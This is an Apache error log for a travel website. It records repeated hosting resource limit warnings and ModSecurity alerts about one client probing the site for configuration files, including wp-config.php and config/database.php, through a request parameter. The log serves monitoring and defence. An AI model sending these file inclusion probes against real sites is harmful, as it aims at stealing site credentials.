[Fri Jul 17 08:55:44.139868 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.141367 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.148369 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.172177 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.190016 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:44.204470 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:v: mi57u/wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/api/v2"] [unique_id "almguEgVnBK6wAv37w6saQAAABQ"]
[Fri Jul 17 08:55:44.205095 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/api/v2"] [unique_id "almguEgVnBK6wAv37w6saQAAABQ"]
[Fri Jul 17 08:55:44.205220 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.205342 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguEgVnBK6wAv37w6saQAAABQ"]
[Fri Jul 17 08:55:44.206711 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.211253 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:v: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/api/v2"] [unique_id "almguA5GPQ6hs4VrfMpBugAAAAY"]
[Fri Jul 17 08:55:44.211846 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/api/v2"] [unique_id "almguA5GPQ6hs4VrfMpBugAAAAY"]
[Fri Jul 17 08:55:44.211995 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.212158 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguA5GPQ6hs4VrfMpBugAAAAY"]
[Fri Jul 17 08:55:44.215421 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.226881 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:v: pdizg/config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/api/v2"] [unique_id "almguBAi3pC6yjXGNq2AjgAAAAU"]
[Fri Jul 17 08:55:44.227457 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/api/v2"] [unique_id "almguBAi3pC6yjXGNq2AjgAAAAU"]
[Fri Jul 17 08:55:44.227583 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.227776 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguBAi3pC6yjXGNq2AjgAAAAU"]
[Fri Jul 17 08:55:44.314389 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:34050] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:55:44.322382 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:v: tppof/config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/api/v2"] [unique_id "almguA5GPQ6hs4VrfMpBuwAAAAY"]
[Fri Jul 17 08:55:44.323012 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/api/v2"] [unique_id "almguA5GPQ6hs4VrfMpBuwAAAAY"]
[Fri Jul 17 08:55:44.323186 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.323310 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguA5GPQ6hs4VrfMpBuwAAAAY"]
[Fri Jul 17 08:55:44.323944 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:v: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/api/v2"] [unique_id "almguDsMb3am0TgkjETa0AAAAAo"]
[Fri Jul 17 08:55:44.324735 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/api/v2"] [unique_id "almguDsMb3am0TgkjETa0AAAAAo"]
[Fri Jul 17 08:55:44.325926 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:v: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/api/v2"] [unique_id "almguEgVnBK6wAv37w6sagAAABQ"]
[Fri Jul 17 08:55:44.326464 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/api/v2"] [unique_id "almguEgVnBK6wAv37w6sagAAABQ"]
[Fri Jul 17 08:55:44.326607 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.326746 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguEgVnBK6wAv37w6sagAAABQ"]
[Fri Jul 17 08:55:44.326950 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.327090 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguDsMb3am0TgkjETa0AAAAAo"]
[Fri Jul 17 08:55:44.328254 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.330024 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.402443 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.402551 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.403270 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.406941 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.408997 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.477715 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.481607 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.486537 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.489663 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.489838 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.604837 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:v: 0gupv/wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/config"] [unique_id "almguDsMb3am0TgkjETa0wAAAAo"]
[Fri Jul 17 08:55:44.605628 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config"] [unique_id "almguDsMb3am0TgkjETa0wAAAAo"]
[Fri Jul 17 08:55:44.605802 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.605988 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguDsMb3am0TgkjETa0wAAAAo"]
[Fri Jul 17 08:55:44.609311 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:v: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/config"] [unique_id "almguEgVnBK6wAv37w6sbQAAABQ"]
[Fri Jul 17 08:55:44.610249 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config"] [unique_id "almguEgVnBK6wAv37w6sbQAAABQ"]
